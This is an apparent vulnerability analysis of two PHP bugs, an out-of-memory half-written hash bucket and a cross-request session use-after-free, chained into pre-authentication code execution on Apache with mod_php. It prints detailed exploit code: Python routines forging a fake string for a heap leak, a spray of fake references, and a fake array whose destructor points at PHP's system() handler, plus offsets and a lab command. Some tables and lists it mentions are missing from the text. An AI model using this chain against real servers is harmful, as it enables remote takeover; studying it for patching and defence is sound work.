PHP2Shell Internals: From a Half-Written Bucket to system()

The two sections below are deliberately low-level. The first is the OOM bug that creates the half-written bucket. The second is the cross-request bug that turns a stale pointer into a leak and then a function call.

CVE-2026-109618: When OOM Leaves a Row Half Written

A PHP array is not a linked list of values. It is a flat row of fixed-size slots called buckets, plus a counter that says how many of them are in use. When a request ends, teardown destroys the array by walking that counter. $_POST and $_FILES are this structure. Every form field PHP parses gets its own bucket: the field name becomes the bucket's key, and the field value becomes its value.

Two counters sit next to that row. nNumUsed means "the next free slot", and teardown reads it as "walk this many slots". nNumOfElements is the number of live keys that count() reports, and it is not the counter teardown walks. In a healthy table the two move together, because a normal insert reserves the next slot and fills it in the same step:

Two fields, two buckets, nNumUsed = 2. Teardown walks slots 0 and 1, and every one of them holds a real key and a real value. Nothing to see yet.

The insert is not atomic

The insert does three things in a fixed order: reserve the slot, allocate a copy of the key, then fill in the rest of the bucket. The reserve is two integer increments. The key allocation is a real allocation, and it can fail. When it does, PHP's OOM handler longjmp()s out of the parser before the fill ever runs.

/* 1. Reserve the next slot and count it as live. Nothing is written yet. */
idx = ht->nNumUsed++;
ht->nNumOfElements++;

/* 2. Point at the reserved slot. arData is the base of the bucket row. */
p = ht->arData + idx;

/* 3. Allocate the key copy. This can fail with an OOM bailout. */
p->key = zend_string_init(str, len, ...);

/* 4. Fill in the rest of the bucket. Skipped if step 3 bailed out. */
p->h = ...;
ZVAL_COPY_VALUE(&p->val, pData);

Picture a hotel register. The clerk writes "guest 3" in the book and increments the guest count before checking whether room 3 is ready. If the room is never prepared, the book still says three guests. Housekeeping reads the book, not the rooms.

Slot 2 now sits inside the range teardown walks, but no key and no value were ever written to it. Teardown then does exactly what the counter told it to do:

/* Walk every bucket the counter claims exists. */
for (p = ht->arData; p != ht->arData + ht->nNumUsed; p++) {
    i_zval_ptr_dtor(&p->val);       /* read the value */
    if (p->key) {
        zend_string_release(p->key); /* read the key */
    }
}

It reads slot 2's value, and if the key pointer happens to be non-null, the key as well. Neither was written by this insert. But "not written" is not the same as "empty". The bucket is heap memory that was used for something else earlier in this request. During multipart parsing, "something else" is usually a field name or value from the same body. The bytes teardown interprets as a key pointer and a zval are bytes the attacker spent the previous milliseconds shaping.

That is the whole bug in two snippets and one counter. The counter says the row exists. The row was never written. Cleanup trusts the counter, and the attacker decides what the leftover bytes look like.

The OOM is not the hard part

Getting PHP to run out of memory in the right place is the part that makes the exploit practical. PHP compares post_max_size with the declared Content-Length before automatic POST parsing starts. If the request uses Transfer-Encoding: chunked or has no usable length, that check does not bound what PHP actually consumes. A compressed input filter can create the same mismatch.

The advisory lists several ways to put pressure on the parser without exceeding the advertised request size:

That is how a request that looks small enough can still push PHP over its own limit at a controlled moment. The public PoC uses nested empty file fields and a PHP_SESSION_UPLOAD_PROGRESS field to hit the OOM in session cleanup.

Why mod_php is important

Apache with mod_php calls php_request_shutdown() even when request startup failed. That gives the malformed $_POST or $_FILES table a chance to be destroyed, and the destruction walks the stale bucket. PHP-FPM takes a different branch: if php_request_startup() fails, it shuts the worker down and exits. That exact startup path does not survive on FPM. FPM is still in scope, but the validated FPM chains happen after a successful startup and need a suitable application operation.

This is why the lab uses the stock Apache image. It is the cleanest demonstration of the pre-auth path, and it is also the configuration PHP says is highest risk.

CVE-2026-109619: The Next Request Inherits the Mess

A PHP worker is a long-lived process. It handles one request, cleans up, and waits for the next one. Some globals in that worker point into the current request's heap. At the end of the request, PHP frees the heap and expects those globals to be reset. A fatal error can skip the reset. The next request on the same worker then finds a pointer into freed memory.

That is a use-after-free, but the trigger and the payoff are in different HTTP requests. The first request is the producer. The second request is the consumer. They have to land on the same worker. That is why the exploit either uses one Apache child or pins one child out of a larger pool.

The public PoC splits the chain into four requests. The rest of this section follows them in order, so keep this table nearby:

Two session globals carry the whole chain. They live in ps_globals, the session extension's persistent per-worker state. That struct is not part of the request heap. When a request dies early, PHP frees the request heap but not the struct, so a pointer inside the struct can outlive the memory it points at.

The session upload progress feature is the star of this part. It is enabled by default, and it runs before normal module initialization. The application does not have to call session_start(). In fact, the app does not have to use sessions at all. The request startup order is roughly:

php_hash_environment();   /* parses request variables and multipart input */
zend_activate_modules();  /* normal module RINIT functions */
PG(modules_activated) = 1;

If multipart parsing fatals before modules_activated is set, the matching session shutdown is skipped. The request heap is still freed. The Apache worker survives with PS(id), PS(http_session_vars), or unserializer bookkeeping still pointing into the freed heap.

The leak: PHP trusts a length field

The first consumer is the session cookie. A1, the first OOM producer, runs out of memory inside php_session_send_cookie(), while it is building the Set-Cookie header for a newly created ID. The bailout leaves PS(id) non-null and PS(send_cookie) set. Startup never reached modules_activated, so the session shutdown that would release or reset PS(id) is skipped. The worker keeps the pointer. The request heap does not.

B1, the leak consumer, includes a PHPSESSID field and a PHP_SESSION_UPLOAD_PROGRESS field, so the parser reaches the upload-progress cleanup callback at the end of the body. That callback calls php_session_initialize(). Inside it, php_session_reset_id() calls php_session_send_cookie() while PS(id) is still the stale pointer. The leak happens before normal module initialization can reset it.

B1 also reclaims that freed block with a multipart field value and writes a fake zend_string header at the exact address PS(id) still holds. The parser copies field values into request memory, so the attacker controls the header bytes. This is the object being forged:

# v is the bytes of one multipart field value.
# hdr is the offset inside v that lands at the address PS(id) still holds.
struct.pack_into("<I", v, hdr + 0x00, 0)       # gc.refcount
struct.pack_into("<I", v, hdr + 0x04, 0x16)    # IS_STRING | GC_NOT_COLLECTABLE
struct.pack_into("<Q", v, hdr + 0x08, 0)       # h
struct.pack_into("<Q", v, hdr + 0x10, 0xC8000) # forged len
tag = b"/02BBBBB"                               # 8 bytes of real string data
v[hdr + 0x18:hdr + 0x18 + 8] = tag
# the field value stops here; everything past it is old heap

Only the header and eight bytes of val are real field data. The rest of the claimed string runs through adjacent heap memory:

The consumer is one line in ext/session/session.c. It uses both fields from the forged header:

/* php_session_send_cookie() */
e_id = php_url_encode(ZSTR_VAL(PS(id)), ZSTR_LEN(PS(id)));

ZSTR_VAL is the val pointer at PS(id) + 0x18. ZSTR_LEN is the forged len. php_url_encode() reads 819,200 bytes from that pointer and puts the result into the Set-Cookie header. The string never had that much data; the length field is the entire bug.

In the lab, that produced a cookie a little over 819 KB and a 1.6 MB response from a page that normally returns 24 bytes. The leaked region contains the two addresses the second stage needs, plus a lot of collateral:

The write: cleanup calls a function pointer

The second consumer is PS(http_session_vars). A2, the second OOM producer, runs out of memory after the upload-progress callback has already created the session reference, but before module shutdown can run. The worker keeps an IS_REFERENCE zval whose value points at a zend_reference in the request heap, and that reference points at the session array. Freeing the heap does not clear the zval.

B2, the write consumer, reclaims the freed region with a spray of 384-byte field values. Each value is full of fake zend_reference records every 32 bytes, starting eight bytes into the value after the parser's string header, so whichever slot the stale pointer lands on is a valid reference. B2 also sends a PHPSESSID field and a PHP_SESSION_UPLOAD_PROGRESS field. At the end of the multipart body, the upload-progress callback calls php_session_initialize(), which calls php_session_track_init(), which runs zval_ptr_dtor(&PS(http_session_vars)) on the stale zval. That is where the chain starts, before normal session initialization can reset it.

Here is the fake reference. It is 32 bytes, and the spray repeats it:

# One 32-byte slot in the spray. ref is the bytes at that slot.
struct.pack_into("<I", ref, 0x00, 1)        # gc.refcount
ref[0x04] = 0x0A                            # gc.type = IS_REFERENCE
struct.pack_into("<Q", ref, 0x08, S)        # val.value.ptr = fake zend_array
struct.pack_into("<I", ref, 0x10, 0x0107)   # val.type = IS_ARRAY | REFCOUNTED

The fake array lives at S. It is a zend_array, the same struct PHP calls a HashTable. The fields that matter are nNumUsed, arData, and pDestructor:

# buf is the 384-byte field value that lands at S.
struct.pack_into("<II", buf, 0x00, 1, 7)              # gc: rc=1, IS_ARRAY
struct.pack_into("<II", buf, 0x08, 0x10, 0xFFFFFFF8) # flags, nTableMask
struct.pack_into("<Q", buf, 0x10, S + 0x20)           # arData
struct.pack_into("<II", buf, 0x18, 1, 1)              # nNumUsed, nNumOfElements
struct.pack_into("<II", buf, 0x20, 8, 0)              # nTableSize, nInternalPointer
struct.pack_into("<Q", buf, 0x28, 0)                  # nNextFreeElement
struct.pack_into("<Q", buf, 0x30, zif_system)        # pDestructor

That non-default pDestructor is also a branch selector. zend_array_destroy() takes a fast inline path when the destructor is the default zval_ptr_dtor. It only calls zend_hash_destroy(), which honors a custom destructor, when the pointer is something else. Setting it to zif_system earns the call.

The overlap is the part that looks wrong until you see the call. A Bucket starts with a 16-byte zval. Because arData = S + 0x20, the first bucket's value is at S + 0x20. The destroy loop calls:

ht->pDestructor(&p->val);   /* p = ht->arData, so this is S + 0x20 */

A destructor has the signature void (*)(zval *pDest). zif_system is the internal C handler for PHP's system() function, and its signature is void (*)(zend_execute_data *execute_data, zval *return_value). On x86-64 both take their first pointer in RDI. PHP passes S + 0x20 as the destructor argument, and zif_system reads that same address as its execute_data. Call that address E. The bucket value and the call frame are one object.

A zend_execute_data is 0x50 bytes, and the arguments follow it. zif_system only reads a few fields:

# E is also the first bucket's val, at S + 0x20.
E = S + 0x20
struct.pack_into("<I", buf, E + 0x2C, 1)          # This.u2.num_args = 1
struct.pack_into("<Q", buf, E + 0x50, S + 0x80)   # arg[1].value
struct.pack_into("<I", buf, E + 0x58, 6)          # arg[1].type = IS_STRING

# The fake zend_string at S + 0x80 holds the command.
struct.pack_into("<II", buf, 0x80, 1, 0x106)      # gc: rc=1, IS_STRING|PERMANENT
struct.pack_into("<Q", buf, 0x88, 0)              # h
struct.pack_into("<Q", buf, 0x90, len(cmd))       # len
buf[0x98:0x98 + len(cmd)] = cmd                    # val
buf[0x98 + len(cmd)] = 0                           # NUL terminator

The whole payload fits in one field value. The fake array occupies S + 0x00 through S + 0x37. The first bucket and the fake call frame overlap it from S + 0x20. The fake string and the command sit at S + 0x80 and S + 0x98. The ht field in B2 is that buffer, sent between the two halves of the spray so the allocator gives it the calibrated slot at S.

The full call chain is:

main       = 0x7f9be8000000
S          = main + 0xF8398   = 0x7f9be80f8398
libphp     = 0x7f9be9c7a000
zif_system = libphp + 0x465370 = 0x7f9bea0df370

This is why the final proof is a shell command and not a weird crash. PHP's normal array cleanup becomes the call site. The attacker controls the function pointer and the argument. In the lab, the call is system("id > /out/pwned"). None of it needs application code: the trigger is the multipart parser's own session cleanup callback, which runs before zend_activate_modules().

The worker can still crash after the command, either when zif_system writes through the garbage return_value pointer or when cleanup frees the fake table. The proof file is already on disk.

Sources